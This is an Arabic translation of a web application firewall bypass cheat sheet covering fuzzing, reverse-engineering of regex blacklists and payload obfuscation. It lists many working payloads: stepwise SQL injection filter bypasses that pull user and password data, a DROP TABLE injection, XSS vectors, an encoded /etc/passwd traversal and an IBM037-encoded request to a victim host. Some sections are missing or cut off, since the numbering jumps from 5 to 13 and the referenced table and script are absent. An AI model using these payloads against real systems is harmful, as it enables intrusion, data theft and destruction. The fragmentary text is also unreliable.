Fuzzing/Bruteforcing:

الطريقة:

تشغيل مجموعة من الحمولات ضد عنوان URL/النقطة النهائية. بعض قوائم الكلمات المفيدة للفحص العشوائي:

• Wordlists specifically for fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads

التقنية:

• قم بتحميل قائمة الكلمات في أداة الفحص العشوائي وابدأ الهجوم بالقوة.
• سجل/احفظ جميع الردود من الحمولات المختلفة التي تم فحصها.
• استخدم عوامل مستخدم عشوائية، تتراوح من متصفح Chrome على سطح المكتب إلى متصفح iPhone.
• إذا لوحظ حظر، قم بزيادة تأخير الفحص (مثلاً 2-4 ثواني).
• استخدم دائماً proxychains، لأن احتمالية حظر عنوان IP الخاص بك حقيقية.

العيوب:

• غالباً ما تفشل هذه الطريقة.
• في كثير من الأحيان سيتم حظر عنوان IP الخاص بك (مؤقتاً/دائماً).

Regex Reversing:

الطريقة:

• الطريقة الأكثر فعالية لتجاوز جدران الحماية لتطبيقات الويب.
• تعتمد بعض جدران الحماية على مطابقة الحمولات الهجومية مع التوقيعات في قواعد بياناتها.
• عند تطابق الحمولة مع reg-ex يقوم جدار الحماية بإطلاق إنذار.

التقنيات:

Blacklisting Detection/Bypass

• في هذه الطريقة نحاول تتبع القواعد خطوة بخطوة من خلال مراقبة الكلمات المفتاحية التي يتم حظرها.
• الفكرة هي تخمين التعبير المنتظم وصياغة الحمولات التالية التي لا تستخدم الكلمات المفتاحية المحظورة.

الحالة: SQL Injection

• الخطوة 1:

الكلمات المفتاحية المفلترة: and, or, union
التعبير المنتظم المحتمل: preg_match('/(and|or|union)/i', $id)

• المحاولة المحظورة: union select user, password from users
• الحقن الملتفى عليه: 1 || (select user from users where user_id = 1) = 'admin'

• الخطوة 2:

الكلمات المفتاحية المفلترة: and, or, union, where

• المحاولة المحظورة: 1 || (select user from users where user_id = 1) = 'admin'
• الحقن الملتفى عليه: 1 || (select user from users limit 1) = 'admin'

• الخطوة 3:

الكلمات المفتاحية المفلترة: and, or, union, where, limit

• المحاولة المحظورة: 1 || (select user from users limit 1) = 'admin'
• الحقن الملتفى عليه: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• الخطوة 4:

الكلمات المفتاحية المفلترة: and, or, union, where, limit, group by

• المحاولة المحظورة: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• الحقن الملتفى عليه: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• الخطوة 5:

الكلمات المفتاحية المفلترة: and, or, union, where, limit, group by, select

• المحاولة المحظورة: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• الحقن الملتفى عليه: 1 || 1 = 1 into outfile 'result.txt'
• الحقن الملتفى عليه: 1 || substr(user,1,1) = 'a'

• الخطوة 6:

الكلمات المفتاحية المفلترة: and, or, union, where, limit, group by, select, '

• المحاولة المحظورة: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• الحقن الملتفى عليه: 1 || user_id is not null
• الحقن الملتفى عليه: 1 || substr(user,1,1) = 0x61
• الحقن الملتفى عليه: 1 || substr(user,1,1) = unhex(61)

• الخطوة 7:

الكلمات المفتاحية المفلترة: and, or, union, where, limit, group by, select, ', hex

• المحاولة المحظورة: 1 || substr(user,1,1) = unhex(61)
• الحقن الملتفى عليه: 1 || substr(user,1,1) = lower(conv(11,10,36))

• الخطوة 8:

الكلمات المفتاحية المفلترة: and, or, union, where, limit, group by, select, ', hex, substr

• المحاولة المحظورة: 1 || substr(user,1,1) = lower(conv(11,10,36))
• الحقن الملتفى عليه: 1 || lpad(user,7,1)

• الخطوة 9:

الكلمات المفتاحية المفلترة: and, or, union, where, limit, group by, select, ', hex, substr, white space

• المحاولة المحظورة: 1 || lpad(user,7,1)
• الحقن الملتفى عليه: 1%0b||%0blpad(user,7,1)

Obfuscation:

الطريقة:

• ترميز الحمولة بتشفيرات مختلفة (نهج التجربة والخطأ).
• يمكنك ترميز الحمولة كاملة، أو بعض أجزائها واختبارها بشكل متكرر.

التقنيات:

1. Case Toggling

• تقوم بعض جدران الحماية ضعيفة التطوير بتصفية حالات أحرف محددة بشكل انتقائي.
• يمكننا الجمع بين الأحرف الكبيرة والصغيرة لتطوير حمولات فعالة.

العادي: <script>alert()</script>
الملتفى عليه: <ScRipT>alert()</sCRipT>

العادي: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
الملتفى عليه: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

• ترميز الحمولات العادية باستخدام ترميز %/ترميز URL.
• يمكن القيام بذلك باستخدام أدوات عبر الإنترنت مثل هذه.
• يتضمن Burp مشفر/مفكك تشفير مدمج.

محظور: <svG/x=">"/oNloaD=confirm()//
ملتفى عليه: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

محظور: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
ملتفى عليه: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

• توفر أحرف ASCII بتشفير اليونيكود متغيرات رائعة للتجاوز.
• يمكنك ترميز الحمولة كاملة/جزئياً للحصول على النتائج.

العادي: <marquee onstart=prompt()>
ملتفى عليه: <marquee onstart=\u0070r\u06f\u006dpt()>

محظور: /?redir=http://google.com
ملتفى عليه: /?redir=http://google。com (بديل يونيكود)

محظور: <marquee loop=1 onfinish=alert()>x
ملتفى عليه: ＜marquee loop＝1 onfinish＝alert︵1)>x (بديل يونيكود)

نصيحة: ألق نظرة على هذا وهذا التقريرين على HackerOne. :)

العادي: ../../etc/passwd
ملتفى عليه: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

• غالباً ما تقوم تطبيقات الويب بترميز الأحرف الخاصة إلى ترميز HTML وتقديمها وفقاً لذلك.
• وهذا يقودنا إلى حالات تجاوز أساسية باستخدام ترميز HTML (رقمي/عام).

العادي: ">
مشفر: "><img src=x onerror=confirm()> (الصيغة العامة)
مشفر: "><img src=x onerror=confirm()> (المرجع الرقمي)

5. Mixed Encoding

• أحياناً، تميل قواعد جدران الحماية إلى تصفية نوع معين من الترميز.
• يمكن تجاوز هذا النوع من المرشحات باستخدام حمولات مشفرة بشكل مختلط.
• تضفي علامات التبويب والأسطر الجديدة مزيداً من التعتيم.

ملتفى عليه:``` XSS

13. فواصل الرموز

• الهجمات على محللات الرموز تحاول كسر منطق تقسيم الطلب إلى رموز بمساعدة فواصل الرموز.

• فواصل الرموز هي رموز تسمح بالتأثير على التطابق بين عنصر سلسلة ورموز معينة، وبالتالي تجاوز البحث عن التواقيع.

• ومع ذلك، يجب أن يظل الطلب صالحًا أثناء استخدام فواصل الرموز.

• حالة: رمز غير معروف لمحلل الرموز

  • الحمولة: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• حالة: سياق غير معروف للمحلل (لاحظ القوس غير المضمن)

  • الحمولة 1: ?id=123);DROP TABLE users --
  • الحمولة 2: ?id=1337) INTO OUTFILE ‘xxx’ --

نصيحة: يمكن صياغة المزيد من الحمولات عبر ورقة الغش.

14. التمويه في صيغ أخرى

• تطبيقات الويب العديدة تدعم أنواع ترميز مختلفة ويمكنها تفسير الترميز (انظر أدناه).
• تمويه حمولتنا بصيغة لا تدعمها جدار الحماية للتطبيقات الويب (WAF) ولكن الخادم يمكن أن يهرب حمولتنا.

حالة: IIS

• IIS6، 7.5، 8 و 10 (ASPX v4.x) تسمح بتفسيرات أحرف IBM037.
• يمكننا ترميز حمولتنا وإرسال المعاملات المشفرة مع الاستعلام.

الطلب الأصلي:

POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

يوضح الجدول التالي دعم ترميزات الأحرف المختلفة على الأنظمة التي تم اختبارها (عندما يمكن إخفاء الرسائل باستخدامها):

تلميح: يمكنك استخدام هذا النص البرمجي الصغير بلغة بايثون لتحويل حمولاتك ومعاملاتك إلى الترميزات التي تريدها.